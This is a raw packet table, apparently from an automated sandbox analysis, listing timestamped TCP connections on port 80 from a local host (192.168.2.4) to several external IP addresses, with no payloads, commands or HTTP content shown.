Oct 30, 2024 08:11:57.637255907 CET	50028	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:11:57.642735958 CET	80	50028	172.67.154.67	192.168.2.4
Oct 30, 2024 08:11:57.642802000 CET	50028	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:11:57.656569958 CET	50028	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:11:57.662087917 CET	80	50028	172.67.154.67	192.168.2.4
Oct 30, 2024 08:11:58.332462072 CET	80	50028	172.67.154.67	192.168.2.4
Oct 30, 2024 08:11:58.333605051 CET	80	50028	172.67.154.67	192.168.2.4
Oct 30, 2024 08:11:58.333652020 CET	50028	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:11:59.160088062 CET	50028	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:00.178853035 CET	50029	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:00.184309959 CET	80	50029	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:00.184396029 CET	50029	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:00.197139025 CET	50029	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:00.202788115 CET	80	50029	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:00.880208015 CET	80	50029	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:00.880224943 CET	80	50029	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:00.880361080 CET	50029	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:00.882469893 CET	80	50029	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:00.882534027 CET	50029	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:01.705961943 CET	50029	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:02.732105017 CET	50030	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:02.739084959 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.742080927 CET	50030	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:02.763341904 CET	50030	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:02.769643068 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770138025 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770304918 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770315886 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770375967 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770385981 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770416021 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770833969 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:02.770875931 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:03.452763081 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:03.455230951 CET	80	50030	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:03.455281019 CET	50030	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:04.268315077 CET	50030	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:05.341865063 CET	50031	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:05.347485065 CET	80	50031	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:05.350199938 CET	50031	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:05.394185066 CET	50031	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:05.399657965 CET	80	50031	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:06.046822071 CET	80	50031	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:06.046880960 CET	80	50031	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:06.047014952 CET	50031	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:06.048806906 CET	80	50031	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:06.048863888 CET	50031	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:06.052263021 CET	50031	80	192.168.2.4	172.67.154.67
Oct 30, 2024 08:12:06.058516979 CET	80	50031	172.67.154.67	192.168.2.4
Oct 30, 2024 08:12:14.230556011 CET	50032	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:14.236062050 CET	80	50032	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:14.236186981 CET	50032	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:14.255358934 CET	50032	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:14.260895967 CET	80	50032	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:15.186750889 CET	80	50032	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:15.299562931 CET	50032	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:15.365921974 CET	80	50032	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:15.366055965 CET	50032	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:15.768378019 CET	50032	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:16.790132999 CET	50033	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:16.795689106 CET	80	50033	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:16.795948982 CET	50033	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:16.808760881 CET	50033	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:16.814178944 CET	80	50033	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:17.752625942 CET	80	50033	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:17.871433020 CET	50033	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:17.935267925 CET	80	50033	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:17.935338974 CET	50033	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:18.315256119 CET	50033	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:19.338522911 CET	50034	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:19.343946934 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.346415043 CET	50034	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:19.359023094 CET	50034	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:19.364396095 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364548922 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364579916 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364630938 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364659071 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364689112 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364717007 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364743948 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:19.364772081 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:20.298212051 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:20.485106945 CET	80	50034	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:20.486990929 CET	50034	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:20.862200975 CET	50034	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:21.881849051 CET	50035	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:21.888247967 CET	80	50035	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:21.888334036 CET	50035	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:21.897102118 CET	50035	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:21.903119087 CET	80	50035	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:22.831274033 CET	80	50035	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:22.879079103 CET	50035	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:23.003634930 CET	80	50035	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:23.008055925 CET	50035	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:23.030388117 CET	50035	80	192.168.2.4	20.2.249.7
Oct 30, 2024 08:12:23.035698891 CET	80	50035	20.2.249.7	192.168.2.4
Oct 30, 2024 08:12:29.584120989 CET	50036	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:29.589574099 CET	80	50036	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:29.589674950 CET	50036	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:29.604518890 CET	50036	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:29.610069036 CET	80	50036	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:30.271007061 CET	80	50036	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:30.309412003 CET	80	50036	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:30.309500933 CET	50036	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:31.112072945 CET	50036	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:32.132234097 CET	50037	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:32.138392925 CET	80	50037	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:32.138493061 CET	50037	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:32.151196957 CET	50037	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:32.157294035 CET	80	50037	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:32.829319000 CET	80	50037	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:32.867952108 CET	80	50037	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:32.868097067 CET	50037	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:33.659158945 CET	50037	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:34.678013086 CET	50038	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:34.685379028 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.685645103 CET	50038	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:34.700097084 CET	50038	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:34.705571890 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705605984 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705634117 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705686092 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705713987 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705764055 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705790997 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705840111 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:34.705884933 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:35.379117012 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:35.417001963 CET	80	50038	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:35.417290926 CET	50038	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:36.205892086 CET	50038	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:37.228687048 CET	50039	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:37.234185934 CET	80	50039	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:37.234272003 CET	50039	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:37.241488934 CET	50039	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:37.246881962 CET	80	50039	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:37.918967009 CET	80	50039	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:37.957118034 CET	80	50039	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:37.957230091 CET	50039	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:37.958144903 CET	50039	80	192.168.2.4	203.161.49.193
Oct 30, 2024 08:12:37.963479042 CET	80	50039	203.161.49.193	192.168.2.4
Oct 30, 2024 08:12:43.165565014 CET	50040	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:43.171041965 CET	80	50040	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:43.171119928 CET	50040	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:43.183733940 CET	50040	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:43.189282894 CET	80	50040	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:43.809514999 CET	80	50040	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:43.809561968 CET	80	50040	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:43.809672117 CET	80	50040	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:43.809745073 CET	50040	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:44.690149069 CET	50040	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:45.712038040 CET	50041	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:45.717413902 CET	80	50041	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:45.719291925 CET	50041	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:45.732055902 CET	50041	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:45.737510920 CET	80	50041	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:46.357311010 CET	80	50041	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:46.357333899 CET	80	50041	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:46.357759953 CET	50041	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:46.357800007 CET	80	50041	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:46.357954979 CET	50041	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:47.239557981 CET	50041	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:48.259870052 CET	50042	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:48.265345097 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.265873909 CET	50042	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:48.280092001 CET	50042	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:48.285561085 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285587072 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285599947 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285640955 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285650969 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285770893 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285801888 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285840988 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.285895109 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.894921064 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.894942045 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.895000935 CET	50042	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:48.895370960 CET	80	50042	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:48.895426035 CET	50042	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:49.786458015 CET	50042	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:50.802957058 CET	50043	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:50.808407068 CET	80	50043	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:50.808665037 CET	50043	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:50.816328049 CET	50043	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:50.821629047 CET	80	50043	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:51.442913055 CET	80	50043	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:51.442933083 CET	80	50043	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:51.443226099 CET	50043	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:51.443228006 CET	80	50043	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:51.443296909 CET	50043	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:51.446206093 CET	50043	80	192.168.2.4	199.59.243.227
Oct 30, 2024 08:12:51.451498985 CET	80	50043	199.59.243.227	192.168.2.4
Oct 30, 2024 08:12:56.721582890 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:56.727075100 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:56.727149010 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:56.739907026 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:56.745228052 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609009027 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609025955 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609038115 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609051943 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609083891 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:57.609108925 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609122992 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609138966 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:57.609217882 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609230042 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.609246016 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:57.610013962 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:57.749516010 CET	80	50044	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:57.749686003 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:58.252809048 CET	50044	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:59.272408009 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:59.277915955 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:12:59.278007030 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:59.292188883 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:12:59.297616005 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169521093 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169542074 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169559956 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169579983 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169595957 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169610023 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169619083 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:00.169625998 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169656038 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:00.169758081 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.169863939 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:00.309528112 CET	80	50045	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:00.309590101 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:00.799560070 CET	50045	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:01.866041899 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:01.871555090 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.871715069 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:01.882767916 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:01.888169050 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888180971 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888190031 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888207912 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888212919 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888216972 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888292074 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888318062 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:01.888329029 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751676083 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751720905 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751734018 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751749039 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751784086 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751785040 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:02.751796007 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751817942 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:02.751837969 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:02.751864910 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751876116 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.751912117 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:02.892863989 CET	80	50046	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:02.892909050 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:03.393282890 CET	50046	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:04.436036110 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:04.442533970 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:04.442687988 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:04.452014923 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:04.458467007 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362108946 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362154961 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362165928 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362178087 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362191916 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362206936 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362221003 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362294912 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.362313032 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:05.362365007 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:05.503102064 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:05.504137039 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:05.504996061 CET	50047	80	192.168.2.4	217.76.156.252
Oct 30, 2024 08:13:05.510327101 CET	80	50047	217.76.156.252	192.168.2.4
Oct 30, 2024 08:13:10.706700087 CET	50048	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:10.712156057 CET	80	50048	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:10.716362000 CET	50048	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:10.728018045 CET	50048	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:10.733447075 CET	80	50048	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:11.589212894 CET	80	50048	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:11.643332958 CET	50048	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:11.729428053 CET	80	50048	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:11.729480028 CET	50048	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:12.237046003 CET	50048	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:13.255743027 CET	50049	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:13.261274099 CET	80	50049	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:13.262739897 CET	50049	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:13.274454117 CET	50049	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:13.279803038 CET	80	50049	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:14.199846983 CET	80	50049	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:14.252583981 CET	50049	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:14.260111094 CET	80	50049	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:14.260157108 CET	50049	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:14.784183025 CET	50049	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:15.807538986 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:15.813282013 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.813441038 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:15.826363087 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:15.831849098 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.831906080 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.831917048 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.831927061 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.831952095 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.832005978 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.832015038 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.832055092 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:15.832065105 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:16.684308052 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:16.688103914 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:17.330832005 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:17.643199921 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:17.651786089 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:17.651830912 CET	80	50050	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:17.651901960 CET	50050	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:18.350550890 CET	50051	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:18.356198072 CET	80	50051	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:18.356288910 CET	50051	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:18.366791964 CET	50051	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:18.372363091 CET	80	50051	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:19.209549904 CET	80	50051	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:19.252593994 CET	50051	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:19.343592882 CET	80	50051	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:19.343791008 CET	50051	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:19.347997904 CET	50051	80	192.168.2.4	144.76.190.39
Oct 30, 2024 08:13:19.353450060 CET	80	50051	144.76.190.39	192.168.2.4
Oct 30, 2024 08:13:24.366348028 CET	50052	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:24.371769905 CET	80	50052	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:24.371845007 CET	50052	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:24.386512041 CET	50052	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:24.391913891 CET	80	50052	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:25.346431971 CET	80	50052	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:25.393989086 CET	50052	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:25.523514032 CET	80	50052	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:25.523622036 CET	50052	80	192.168.2.4	34.92.128.59
